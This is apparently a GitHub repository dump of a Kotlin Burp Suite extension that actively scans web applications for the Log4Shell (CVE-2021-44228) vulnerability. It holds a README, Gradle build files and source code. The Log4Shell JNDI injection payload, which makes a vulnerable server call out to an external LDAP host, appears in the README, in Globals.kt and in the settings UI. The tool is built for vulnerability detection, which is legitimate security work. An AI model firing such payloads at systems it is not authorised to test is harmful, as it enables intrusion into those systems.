634 |
635 | This program is free software: you can redistribute it and/or modify
636 | it under the terms of the GNU Affero General Public License as published
637 | by the Free Software Foundation, either version 3 of the License, or
638 | (at your option) any later version.
639 |
640 | This program is distributed in the hope that it will be useful,
641 | but WITHOUT ANY WARRANTY; without even the implied warranty of
642 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
643 | GNU Affero General Public License for more details.
644 |
645 | You should have received a copy of the GNU Affero General Public License
646 | along with this program. If not, see .
647 |
648 | Also add information on how to contact you by electronic and paper mail.
649 |
650 | If your software can interact with users remotely through a computer
651 | network, you should also make sure that it provides a way for users to
652 | get its source. For example, if your program is a web application, its
653 | interface could display a "Source" link that leads users to an archive
654 | of the code. There are many ways you could offer source, and different
655 | solutions will be better for different programs; see section 13 for the
656 | specific requirements.
657 |
658 | You should also get your employer (if you work as a programmer) or school,
659 | if any, to sign a "copyright disclaimer" for the program, if necessary.
660 | For more information on this, and how to apply and follow the GNU AGPL, see
661 | .
662 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Burp extension to scan Log4Shell (CVE-2021-44228) vulnerability with custom payloads.
6 |
7 | ---
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 | ---
32 | ## Disclaimer
33 | > I am not responsible for your actions, burp-suite freezing, target getting hacked, thermonuclear war, or the current economic crisis caused by you following these directions. YOU are choosing to use this tool, and if you point your finger at me for messing anything up, I will LMAO at you.
34 |
35 | ---
36 | 
37 |
38 | ## Instructions:
39 | - Install the extension either from pre-compiled releases or build from source.
40 | - Disable/Uncheck all other active scanning extensions like active scan++, burp bounty pro, param-miner etc.
41 | - From Top-Menu open settings of Log4J Scanner.
42 | - Add your custom payload and save settings.
43 | - Select your target > right-click > Scan.
44 | - Select `Scan Configuration` > `Select from library`
45 | - Only select `Audit checks - extensions only` and hit OK button.
46 |
47 | Special thanks to [Silent Signal](https://github.com/silentsignal), instructions and scan configurations are inspired from his extension.
48 |
49 |
50 | ### Important instructions to remember:
51 | - In your custom payload DO __NOT__ add your collaborator url, just add `[collaborator-server]` as a placeholder,
52 | - `[collaborator-server` will be replaced by your collaborator server url itself.
53 | - Example payload: `"${jndi:ldap://[collaborator-server]/a}`
54 |
55 |
56 | ## Download releases
57 | `https://github.com/0xDexter0us/Log4J-Scanner/releases/`
58 |
59 | ## Build from source
60 | * `./gradlew build fatJar`
61 | * Grab the jar file `build/libs/Log4J-Scanner-x.x.x.jar`
62 |
63 | ## Installation
64 | 1. Download the latest jar from releases or build from source.
65 | 2. Add the jar to Burp Suite.
66 |
67 |
68 |
69 | #### If you like the project, please give the repo a star! <3
70 |
71 | ## Resources
72 |
73 | - For passive scanning: `https://github.com/f0ng/log4j2burpscanner`
74 | - For active scanning: `https://github.com/albinowax/ActiveScanPlusPlus` & `https://github.com/silentsignal/burp-log4shell`
75 |
76 |
77 | ## Changelog
78 | **25 December 2021 - v0.2.0**
79 | - Added Burp Collaborator api.
80 | - Removed custom scanner.
81 | - Added Burp scanner api.
82 |
83 | **13 December 2021 - v0.1.0**
84 | - First public release
85 |
86 | ## Thanks To
87 |
88 | * CoreyD97 - https://github.com/CoreyD97
89 | * Silent Signal - https://github.com/silentsignal
90 |
91 |
92 | ### This was coded be me within a day and is an initial release, bug might occur, bug reports, suggestions and pull requests all are welcome :)
93 |
94 | -----
95 |
96 | [](http://discord.gg/bugbounty)
97 |
98 | [](https://ko-fi.com/Q5Q76ZT6K)
99 |
--------------------------------------------------------------------------------
/build.gradle:
--------------------------------------------------------------------------------
1 | plugins {
2 | id 'org.jetbrains.kotlin.jvm' version '1.6.0'
3 | }
4 |
5 | group 'com.dexter0us'
6 | version '0.2.0'
7 |
8 | repositories {
9 | mavenCentral()
10 | }
11 |
12 | dependencies {
13 | implementation 'org.jetbrains.kotlin:kotlin-stdlib:1.6.0'
14 | implementation 'net.portswigger.burp.extender:burp-extender-api:2.3'
15 | implementation 'com.miglayout:miglayout-core:5.3' //do not update, it will break
16 | implementation 'com.miglayout:miglayout-swing:5.3' //do not update, it will break
17 | }
18 |
19 | task fatJar(type: Jar) {
20 | duplicatesStrategy = DuplicatesStrategy.INCLUDE
21 | from { configurations.runtimeClasspath.collect { it.isDirectory() ? it : zipTree(it) } }
22 | with jar
23 | }
--------------------------------------------------------------------------------
/gradle.properties:
--------------------------------------------------------------------------------
1 | kotlin.code.style=official
--------------------------------------------------------------------------------
/gradle/wrapper/gradle-wrapper.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/0xDexter0us/Log4J-Scanner/32c85628b2eadef7ee2305419462c7306c0caaa0/gradle/wrapper/gradle-wrapper.jar
--------------------------------------------------------------------------------
/gradle/wrapper/gradle-wrapper.properties:
--------------------------------------------------------------------------------
1 | distributionBase=GRADLE_USER_HOME
2 | distributionPath=wrapper/dists
3 | distributionUrl=https\://services.gradle.org/distributions/gradle-7.3-bin.zip
4 | zipStoreBase=GRADLE_USER_HOME
5 | zipStorePath=wrapper/dists
6 |
--------------------------------------------------------------------------------
/gradlew:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env sh
2 |
3 | #
4 | # Copyright 2015 the original author or authors.
5 | #
6 | # Licensed under the Apache License, Version 2.0 (the "License");
7 | # you may not use this file except in compliance with the License.
8 | # You may obtain a copy of the License at
9 | #
10 | # https://www.apache.org/licenses/LICENSE-2.0
11 | #
12 | # Unless required by applicable law or agreed to in writing, software
13 | # distributed under the License is distributed on an "AS IS" BASIS,
14 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
15 | # See the License for the specific language governing permissions and
16 | # limitations under the License.
17 | #
18 |
19 | ##############################################################################
20 | ##
21 | ## Gradle start up script for UN*X
22 | ##
23 | ##############################################################################
24 |
25 | # Attempt to set APP_HOME
26 | # Resolve links: $0 may be a link
27 | PRG="$0"
28 | # Need this for relative symlinks.
29 | while [ -h "$PRG" ] ; do
30 | ls=`ls -ld "$PRG"`
31 | link=`expr "$ls" : '.*-> \(.*\)$'`
32 | if expr "$link" : '/.*' > /dev/null; then
33 | PRG="$link"
34 | else
35 | PRG=`dirname "$PRG"`"/$link"
36 | fi
37 | done
38 | SAVED="`pwd`"
39 | cd "`dirname \"$PRG\"`/" >/dev/null
40 | APP_HOME="`pwd -P`"
41 | cd "$SAVED" >/dev/null
42 |
43 | APP_NAME="Gradle"
44 | APP_BASE_NAME=`basename "$0"`
45 |
46 | # Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
47 | DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"'
48 |
49 | # Use the maximum available, or set MAX_FD != -1 to use that value.
50 | MAX_FD="maximum"
51 |
52 | warn () {
53 | echo "$*"
54 | }
55 |
56 | die () {
57 | echo
58 | echo "$*"
59 | echo
60 | exit 1
61 | }
62 |
63 | # OS specific support (must be 'true' or 'false').
64 | cygwin=false
65 | msys=false
66 | darwin=false
67 | nonstop=false
68 | case "`uname`" in
69 | CYGWIN* )
70 | cygwin=true
71 | ;;
72 | Darwin* )
73 | darwin=true
74 | ;;
75 | MSYS* | MINGW* )
76 | msys=true
77 | ;;
78 | NONSTOP* )
79 | nonstop=true
80 | ;;
81 | esac
82 |
83 | CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar
84 |
85 |
86 | # Determine the Java command to use to start the JVM.
87 | if [ -n "$JAVA_HOME" ] ; then
88 | if [ -x "$JAVA_HOME/jre/sh/java" ] ; then
89 | # IBM's JDK on AIX uses strange locations for the executables
90 | JAVACMD="$JAVA_HOME/jre/sh/java"
91 | else
92 | JAVACMD="$JAVA_HOME/bin/java"
93 | fi
94 | if [ ! -x "$JAVACMD" ] ; then
95 | die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME
96 |
97 | Please set the JAVA_HOME variable in your environment to match the
98 | location of your Java installation."
99 | fi
100 | else
101 | JAVACMD="java"
102 | which java >/dev/null 2>&1 || die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
103 |
104 | Please set the JAVA_HOME variable in your environment to match the
105 | location of your Java installation."
106 | fi
107 |
108 | # Increase the maximum file descriptors if we can.
109 | if [ "$cygwin" = "false" -a "$darwin" = "false" -a "$nonstop" = "false" ] ; then
110 | MAX_FD_LIMIT=`ulimit -H -n`
111 | if [ $? -eq 0 ] ; then
112 | if [ "$MAX_FD" = "maximum" -o "$MAX_FD" = "max" ] ; then
113 | MAX_FD="$MAX_FD_LIMIT"
114 | fi
115 | ulimit -n $MAX_FD
116 | if [ $? -ne 0 ] ; then
117 | warn "Could not set maximum file descriptor limit: $MAX_FD"
118 | fi
119 | else
120 | warn "Could not query maximum file descriptor limit: $MAX_FD_LIMIT"
121 | fi
122 | fi
123 |
124 | # For Darwin, add options to specify how the application appears in the dock
125 | if $darwin; then
126 | GRADLE_OPTS="$GRADLE_OPTS \"-Xdock:name=$APP_NAME\" \"-Xdock:icon=$APP_HOME/media/gradle.icns\""
127 | fi
128 |
129 | # For Cygwin or MSYS, switch paths to Windows format before running java
130 | if [ "$cygwin" = "true" -o "$msys" = "true" ] ; then
131 | APP_HOME=`cygpath --path --mixed "$APP_HOME"`
132 | CLASSPATH=`cygpath --path --mixed "$CLASSPATH"`
133 |
134 | JAVACMD=`cygpath --unix "$JAVACMD"`
135 |
136 | # We build the pattern for arguments to be converted via cygpath
137 | ROOTDIRSRAW=`find -L / -maxdepth 1 -mindepth 1 -type d 2>/dev/null`
138 | SEP=""
139 | for dir in $ROOTDIRSRAW ; do
140 | ROOTDIRS="$ROOTDIRS$SEP$dir"
141 | SEP="|"
142 | done
143 | OURCYGPATTERN="(^($ROOTDIRS))"
144 | # Add a user-defined pattern to the cygpath arguments
145 | if [ "$GRADLE_CYGPATTERN" != "" ] ; then
146 | OURCYGPATTERN="$OURCYGPATTERN|($GRADLE_CYGPATTERN)"
147 | fi
148 | # Now convert the arguments - kludge to limit ourselves to /bin/sh
149 | i=0
150 | for arg in "$@" ; do
151 | CHECK=`echo "$arg"|egrep -c "$OURCYGPATTERN" -`
152 | CHECK2=`echo "$arg"|egrep -c "^-"` ### Determine if an option
153 |
154 | if [ $CHECK -ne 0 ] && [ $CHECK2 -eq 0 ] ; then ### Added a condition
155 | eval `echo args$i`=`cygpath --path --ignore --mixed "$arg"`
156 | else
157 | eval `echo args$i`="\"$arg\""
158 | fi
159 | i=`expr $i + 1`
160 | done
161 | case $i in
162 | 0) set -- ;;
163 | 1) set -- "$args0" ;;
164 | 2) set -- "$args0" "$args1" ;;
165 | 3) set -- "$args0" "$args1" "$args2" ;;
166 | 4) set -- "$args0" "$args1" "$args2" "$args3" ;;
167 | 5) set -- "$args0" "$args1" "$args2" "$args3" "$args4" ;;
168 | 6) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" ;;
169 | 7) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" ;;
170 | 8) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" ;;
171 | 9) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" "$args8" ;;
172 | esac
173 | fi
174 |
175 | # Escape application args
176 | save () {
177 | for i do printf %s\\n "$i" | sed "s/'/'\\\\''/g;1s/^/'/;\$s/\$/' \\\\/" ; done
178 | echo " "
179 | }
180 | APP_ARGS=`save "$@"`
181 |
182 | # Collect all arguments for the java command, following the shell quoting and substitution rules
183 | eval set -- $DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS "\"-Dorg.gradle.appname=$APP_BASE_NAME\"" -classpath "\"$CLASSPATH\"" org.gradle.wrapper.GradleWrapperMain "$APP_ARGS"
184 |
185 | exec "$JAVACMD" "$@"
186 |
--------------------------------------------------------------------------------
/gradlew.bat:
--------------------------------------------------------------------------------
1 | @rem
2 | @rem Copyright 2015 the original author or authors.
3 | @rem
4 | @rem Licensed under the Apache License, Version 2.0 (the "License");
5 | @rem you may not use this file except in compliance with the License.
6 | @rem You may obtain a copy of the License at
7 | @rem
8 | @rem https://www.apache.org/licenses/LICENSE-2.0
9 | @rem
10 | @rem Unless required by applicable law or agreed to in writing, software
11 | @rem distributed under the License is distributed on an "AS IS" BASIS,
12 | @rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 | @rem See the License for the specific language governing permissions and
14 | @rem limitations under the License.
15 | @rem
16 |
17 | @if "%DEBUG%" == "" @echo off
18 | @rem ##########################################################################
19 | @rem
20 | @rem Gradle startup script for Windows
21 | @rem
22 | @rem ##########################################################################
23 |
24 | @rem Set local scope for the variables with windows NT shell
25 | if "%OS%"=="Windows_NT" setlocal
26 |
27 | set DIRNAME=%~dp0
28 | if "%DIRNAME%" == "" set DIRNAME=.
29 | set APP_BASE_NAME=%~n0
30 | set APP_HOME=%DIRNAME%
31 |
32 | @rem Resolve any "." and ".." in APP_HOME to make it shorter.
33 | for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi
34 |
35 | @rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
36 | set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m"
37 |
38 | @rem Find java.exe
39 | if defined JAVA_HOME goto findJavaFromJavaHome
40 |
41 | set JAVA_EXE=java.exe
42 | %JAVA_EXE% -version >NUL 2>&1
43 | if "%ERRORLEVEL%" == "0" goto execute
44 |
45 | echo.
46 | echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
47 | echo.
48 | echo Please set the JAVA_HOME variable in your environment to match the
49 | echo location of your Java installation.
50 |
51 | goto fail
52 |
53 | :findJavaFromJavaHome
54 | set JAVA_HOME=%JAVA_HOME:"=%
55 | set JAVA_EXE=%JAVA_HOME%/bin/java.exe
56 |
57 | if exist "%JAVA_EXE%" goto execute
58 |
59 | echo.
60 | echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME%
61 | echo.
62 | echo Please set the JAVA_HOME variable in your environment to match the
63 | echo location of your Java installation.
64 |
65 | goto fail
66 |
67 | :execute
68 | @rem Setup the command line
69 |
70 | set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar
71 |
72 |
73 | @rem Execute Gradle
74 | "%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %*
75 |
76 | :end
77 | @rem End local scope for the variables with windows NT shell
78 | if "%ERRORLEVEL%"=="0" goto mainEnd
79 |
80 | :fail
81 | rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of
82 | rem the _cmd.exe /c_ return code!
83 | if not "" == "%GRADLE_EXIT_CONSOLE%" exit 1
84 | exit /b 1
85 |
86 | :mainEnd
87 | if "%OS%"=="Windows_NT" endlocal
88 |
89 | :omega
90 |
--------------------------------------------------------------------------------
/images/log4j-scanner.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/0xDexter0us/Log4J-Scanner/32c85628b2eadef7ee2305419462c7306c0caaa0/images/log4j-scanner.png
--------------------------------------------------------------------------------
/images/useage.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/0xDexter0us/Log4J-Scanner/32c85628b2eadef7ee2305419462c7306c0caaa0/images/useage.gif
--------------------------------------------------------------------------------
/settings.gradle:
--------------------------------------------------------------------------------
1 | rootProject.name = 'Log4J-Scanner'
2 |
3 |
--------------------------------------------------------------------------------
/src/main/kotlin/burp/BurpExtender.kt:
--------------------------------------------------------------------------------
1 | @file:Suppress("unused")
2 |
3 | package burp
4 |
5 | import com.dexter0us.log4jScanner.Extension
6 |
7 | class BurpExtender : Extension()
--------------------------------------------------------------------------------
/src/main/kotlin/com/dexter0us/log4jScanner/Extension.kt:
--------------------------------------------------------------------------------
1 | package com.dexter0us.log4jScanner
2 |
3 | import burp.IBurpExtender
4 | import burp.IBurpExtenderCallbacks
5 | import burp.IExtensionStateListener
6 | import java.io.PrintWriter
7 | import javax.swing.*
8 |
9 | open class Extension: IBurpExtender, IExtensionStateListener {
10 |
11 | companion object{
12 | const val pluginName = "Log4J Scanner"
13 | const val version = "0.2.0"
14 | }
15 |
16 | private var scavUnload = false
17 | private var burpMenu: JMenuBar? = null
18 | private var log4jMenu: JMenu? = null
19 |
20 | override fun registerExtenderCallbacks(_callbacks: IBurpExtenderCallbacks) {
21 | callbacks = _callbacks
22 | helpers = _callbacks.helpers
23 | stdout = PrintWriter(callbacks.stdout, true)
24 | stderr = PrintWriter(callbacks.stderr, true)
25 |
26 | callbacks.apply {
27 | setExtensionName(pluginName)
28 | registerScannerCheck(Log4JScanner())
29 | registerExtensionStateListener { extensionUnloaded() }
30 | }
31 |
32 | stdout.println("$pluginName v$version Loaded")
33 |
34 | SwingUtilities.invokeLater {
35 | try {
36 | burpMenu = getBurpFrame()!!.jMenuBar
37 | log4jMenu = JMenu("Log4J Scanner")
38 | val listCustomTagsMenu = JMenuItem("Settings")
39 | listCustomTagsMenu.addActionListener { Log4JUI() }
40 | log4jMenu!!.add(listCustomTagsMenu)
41 | burpMenu!!.add(log4jMenu)
42 | } catch (e: Exception) {
43 | e.printStackTrace()
44 | }
45 |
46 | }
47 |
48 | }
49 |
50 | private fun getBurpFrame(): JFrame? {
51 | for (frame in JFrame.getFrames()) {
52 | if (frame.isVisible && frame.title.startsWith("Burp Suite")) {
53 | return frame as JFrame?
54 | }
55 | }
56 | return null
57 | }
58 |
59 | override fun extensionUnloaded() {
60 | currJob?.cancel()
61 | stdout.println("Log4J scanner unloaded.")
62 | scavUnload = true
63 | burpMenu?.remove(log4jMenu)
64 | burpMenu?.repaint()
65 | }
66 | }
--------------------------------------------------------------------------------
/src/main/kotlin/com/dexter0us/log4jScanner/Globals.kt:
--------------------------------------------------------------------------------
1 | package com.dexter0us.log4jScanner
2 |
3 | import burp.IBurpExtenderCallbacks
4 | import burp.IExtensionHelpers
5 | import kotlinx.coroutines.Job
6 | import kotlinx.coroutines.channels.ReceiveChannel
7 | import java.io.PrintWriter
8 |
9 | lateinit var callbacks: IBurpExtenderCallbacks
10 | lateinit var helpers: IExtensionHelpers
11 | lateinit var stdout: PrintWriter
12 | lateinit var stderr: PrintWriter
13 |
14 | val console = { str: String -> stdout.println(str) }
15 |
16 | var initialPayload = "\${jndi:ldap://[collaborator-server]/a}"
17 |
18 | var historySize: Int = 100
19 |
20 | var currJob: Job? = null
21 | class ProcessResult(val resultChannel: ReceiveChannel, val job: Job)
--------------------------------------------------------------------------------
/src/main/kotlin/com/dexter0us/log4jScanner/Log4JScanner.kt:
--------------------------------------------------------------------------------
1 | package com.dexter0us.log4jScanner
2 |
3 | import burp.*
4 | import java.net.URL
5 | import kotlin.collections.ArrayList
6 |
7 |
8 | class Log4JScanner: IScannerCheck {
9 |
10 | private val collaborator = callbacks.createBurpCollaboratorClientContext()
11 |
12 | override fun doActiveScan(
13 | baseRequestResponse: IHttpRequestResponse?, insertionPoint: IScannerInsertionPoint?
14 | ): MutableList? {
15 |
16 |
17 | val request = insertionPoint!!.buildRequest(payload())
18 | val response = callbacks.makeHttpRequest(baseRequestResponse!!.httpService, request)
19 |
20 | val interactions = collaborator.fetchAllCollaboratorInteractions()
21 | val issues = ArrayList()
22 | return when {
23 | interactions.size > 0 -> {
24 | issues.add(
25 | ScanIssue(
26 | helpers.analyzeRequest(response).url,
27 | baseRequestResponse.httpService,
28 | arrayOf(response)
29 | )
30 | )
31 | issues
32 | }
33 | else -> null
34 | }
35 | }
36 |
37 |
38 | override fun consolidateDuplicateIssues(existingIssue: IScanIssue, newIssue: IScanIssue): Int = 0
39 |
40 | override fun doPassiveScan(baseRequestResponse: IHttpRequestResponse?): MutableList? = null
41 |
42 |
43 | private fun payload(): ByteArray {
44 | return initialPayload.replace(
45 | "[collaborator-server]",
46 | collaborator.generatePayload(true)
47 | ).toByteArray()
48 | }
49 |
50 | private inner class ScanIssue(
51 | private var url: URL?,
52 | private var httpService: IHttpService?,
53 | private var httpMessages: Array
54 | ): IScanIssue {
55 |
56 | override fun getUrl(): URL? = url
57 |
58 | override fun getIssueName(): String = "Log4J [CVE-2021-44228] Callback"
59 |
60 | override fun getIssueType(): Int = 0
61 |
62 | override fun getSeverity(): String = "High"
63 |
64 | override fun getConfidence(): String= "Certain"
65 |
66 | override fun getIssueBackground(): String? = null
67 |
68 | override fun getRemediationBackground(): String? = null
69 |
70 | override fun getIssueDetail(): String = "Received a ping-back from the application to a Log4J [CVE-2021-44228] payload.
" +
71 | "Further manual investigation is required, please refer to https://www.lunasec.io/docs/blog/log4j-zero-day/"
72 |
73 | override fun getRemediationDetail(): String? = null
74 |
75 | override fun getHttpMessages(): Array = httpMessages
76 |
77 | override fun getHttpService(): IHttpService? = httpService
78 |
79 | }
80 | }
81 |
--------------------------------------------------------------------------------
/src/main/kotlin/com/dexter0us/log4jScanner/Log4JUI.kt:
--------------------------------------------------------------------------------
1 | package com.dexter0us.log4jScanner
2 |
3 | import net.miginfocom.swing.MigLayout
4 | import java.awt.*
5 | import java.awt.event.ActionEvent
6 | import java.awt.event.ActionListener
7 | import java.awt.image.BufferedImage
8 | import java.net.URI
9 | import javax.swing.*
10 |
11 | class Log4JUI: JFrame("Log4J Scanner"), ActionListener {
12 |
13 | private val customPayloadTextBox = JTextField()
14 | private var saveButton = JButton()
15 | private var twitterButton = JButton()
16 | private var githubButton = JButton()
17 | private var blogButton = JButton()
18 | private var kofiButton = JButton()
19 |
20 |
21 | init {
22 | // Top Panel (Header) ============================================================
23 |
24 | val heading = JLabel().apply {
25 | text = "Log4J Scanner"
26 | font = font.deriveFont(32f).deriveFont(Font.BOLD)
27 | }
28 |
29 | val tagline = JLabel().apply {
30 | text = "Log4Shell (CVE-2021-44228) vulnerability active scanner."
31 | font = font.deriveFont(16f).deriveFont(Font.ITALIC)
32 | }
33 |
34 | // Main Panel (Body) =============================================================
35 |
36 | val saveImage = loadImage("htp.png")
37 | when {
38 | saveImage != null -> {
39 | saveButton = JButton("Save settings", saveImage)
40 | saveButton.componentOrientation = ComponentOrientation.RIGHT_TO_LEFT
41 | saveButton.iconTextGap = 3
42 | }
43 | else -> saveButton = JButton("Save settings")
44 | }
45 | saveButton.addActionListener(this)
46 |
47 |
48 | // Contact Panel (Footer) ========================================================
49 |
50 | val twitterImage = loadImage("twitter.png")
51 | when {
52 | twitterImage != null -> {
53 | twitterButton = JButton("Follow me on Twitter", twitterImage)
54 | twitterButton.componentOrientation = ComponentOrientation.RIGHT_TO_LEFT
55 | twitterButton.iconTextGap = 3
56 | }
57 | else -> twitterButton = JButton("Follow me on Twitter")
58 | }
59 | twitterButton.addActionListener(this)
60 |
61 |
62 | val githubImage = loadImage("github.png")
63 | when {
64 | githubImage != null -> {
65 | githubButton = JButton("View Project on Github", githubImage)
66 | githubButton.componentOrientation = ComponentOrientation.RIGHT_TO_LEFT
67 | githubButton.iconTextGap = 3
68 | }
69 | else -> githubButton = JButton("View Project on Github")
70 | }
71 | githubButton.addActionListener(this)
72 |
73 |
74 | val blogImage = loadImage("blog.png")
75 | when {
76 | blogImage != null -> {
77 | blogButton = JButton("Checkout my Blog", blogImage)
78 | blogButton.componentOrientation = ComponentOrientation.RIGHT_TO_LEFT
79 | blogButton.iconTextGap = 3
80 | }
81 | else -> blogButton = JButton("Checkout my Blog")
82 | }
83 | blogButton.addActionListener(this)
84 |
85 |
86 | val kofiImage = loadImage("ko-fi.png")
87 | when {
88 | kofiImage != null -> {
89 | kofiButton = JButton("Support Project on Ko-Fi", kofiImage)
90 | kofiButton.componentOrientation = ComponentOrientation.RIGHT_TO_LEFT
91 | kofiButton.iconTextGap = 3
92 | }
93 | else -> kofiButton = JButton("Buy me a Coffee")
94 | }
95 | kofiButton.addActionListener(this)
96 |
97 |
98 | val northPanel = JPanel().apply {
99 | layout = MigLayout("align center")
100 | border = BorderFactory.createEmptyBorder(5, 5, 5, 5)
101 | add(heading, "bottom, center, span, wrap")
102 | add(tagline, "top, center, span, wrap")
103 | }
104 |
105 | val mainPanel = JPanel().apply {
106 | layout = MigLayout("align center")
107 | border = BorderFactory.createEmptyBorder(5, 5, 5, 5)
108 |
109 | add(JLabel("Payload:"), "right")
110 | add(customPayloadTextBox, "span, growx, wrap, h 30!")
111 | add(JLabel(
112 | "Provide a custom payload with placeholders \"[collaborator-server]\".
" +
113 | "Sample Payload: \"\${jndi:ldap://[collaborator-server]/a}\"
" +
114 | "Do NOT include collaborator url in the payload, just add the placeholder [collaborator-server]."
115 | ),
116 | "left, wrap, growx, span"
117 | )
118 | add(JSeparator(SwingConstants.HORIZONTAL), "wrap")
119 | add(JSeparator(SwingConstants.HORIZONTAL), "")
120 | add(saveButton, "center, w 250!, h 35!")
121 |
122 |
123 | }
124 |
125 | val southPanel = JPanel().apply {
126 | layout = MigLayout("align center")
127 | border = BorderFactory.createEmptyBorder(2, 0, 10, 0)
128 |
129 | add(JLabel("Crafted with <3 by Dexter0us"), "span, align center, wrap")
130 | add(twitterButton, "w 230!, h 35!")
131 | add(githubButton, "w 230!, h 35!, wrap")
132 | add(blogButton, "w 230!, h 35!")
133 | add(kofiButton, "w 230!, h 35!, wrap")
134 | }
135 |
136 | layout = MigLayout("align center")
137 | setSize(600,550)
138 | add(northPanel, "dock north")
139 | add(JSeparator(SwingConstants.HORIZONTAL), "wrap")
140 | add(mainPanel, "wrap, align center")
141 | add(JSeparator(SwingConstants.HORIZONTAL), "wrap")
142 | add(southPanel, "dock south")
143 |
144 | defaultCloseOperation = DISPOSE_ON_CLOSE
145 | isResizable = false
146 | isVisible = true
147 |
148 | }
149 |
150 |
151 |
152 | override fun actionPerformed(e: ActionEvent?) {
153 | when (e?.source) {
154 | saveButton -> {
155 | initialPayload = customPayloadTextBox.text
156 | dispose()
157 | }
158 | twitterButton -> openInBrowser("https://twitter.com/0xDexter0us")
159 | githubButton -> openInBrowser("https://github.com/0xDexter0us/Scavenger")
160 | blogButton -> openInBrowser("https://dexter0us.com/")
161 | kofiButton -> openInBrowser("https://ko-fi.com/dexter0us")
162 |
163 | }
164 | }
165 |
166 | // Credits to CoreyD97 for this idea and function
167 | private fun loadImage(filename: String): ImageIcon? {
168 | val cldr = this.javaClass.classLoader
169 | val imageURLMain = cldr.getResource(filename)
170 | if (imageURLMain != null) {
171 | val scaled = ImageIcon(imageURLMain).image.getScaledInstance(30, 30, Image.SCALE_SMOOTH)
172 | val scaledIcon = ImageIcon(scaled)
173 | val bufferedImage = BufferedImage(30, 30, BufferedImage.TYPE_INT_ARGB)
174 | val g = bufferedImage.graphics as Graphics2D
175 | g.setRenderingHint(RenderingHints.KEY_ANTIALIASING, RenderingHints.VALUE_ANTIALIAS_ON)
176 | g.drawImage(scaledIcon.image, null, null)
177 | return ImageIcon(bufferedImage)
178 | }
179 | return null
180 | }
181 |
182 | private fun alertBox(str: String) {
183 | JOptionPane.showMessageDialog(this, str, "Log4J Scanner", JOptionPane.PLAIN_MESSAGE)
184 | }
185 |
186 | private fun openInBrowser(url: String) {
187 | if (Desktop.isDesktopSupported() && Desktop.getDesktop().isSupported(Desktop.Action.BROWSE)) {
188 | Desktop.getDesktop().browse(URI(url))
189 | } else {
190 | alertBox("Unable to open browser.\n Visit: $url")
191 | }
192 | }
193 |
194 | }
195 |
--------------------------------------------------------------------------------
/src/main/resources/blog.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/0xDexter0us/Log4J-Scanner/32c85628b2eadef7ee2305419462c7306c0caaa0/src/main/resources/blog.png
--------------------------------------------------------------------------------
/src/main/resources/github.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/0xDexter0us/Log4J-Scanner/32c85628b2eadef7ee2305419462c7306c0caaa0/src/main/resources/github.png
--------------------------------------------------------------------------------
/src/main/resources/htp.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/0xDexter0us/Log4J-Scanner/32c85628b2eadef7ee2305419462c7306c0caaa0/src/main/resources/htp.png
--------------------------------------------------------------------------------
/src/main/resources/ko-fi.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/0xDexter0us/Log4J-Scanner/32c85628b2eadef7ee2305419462c7306c0caaa0/src/main/resources/ko-fi.png
--------------------------------------------------------------------------------
/src/main/resources/twitter.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/0xDexter0us/Log4J-Scanner/32c85628b2eadef7ee2305419462c7306c0caaa0/src/main/resources/twitter.png
--------------------------------------------------------------------------------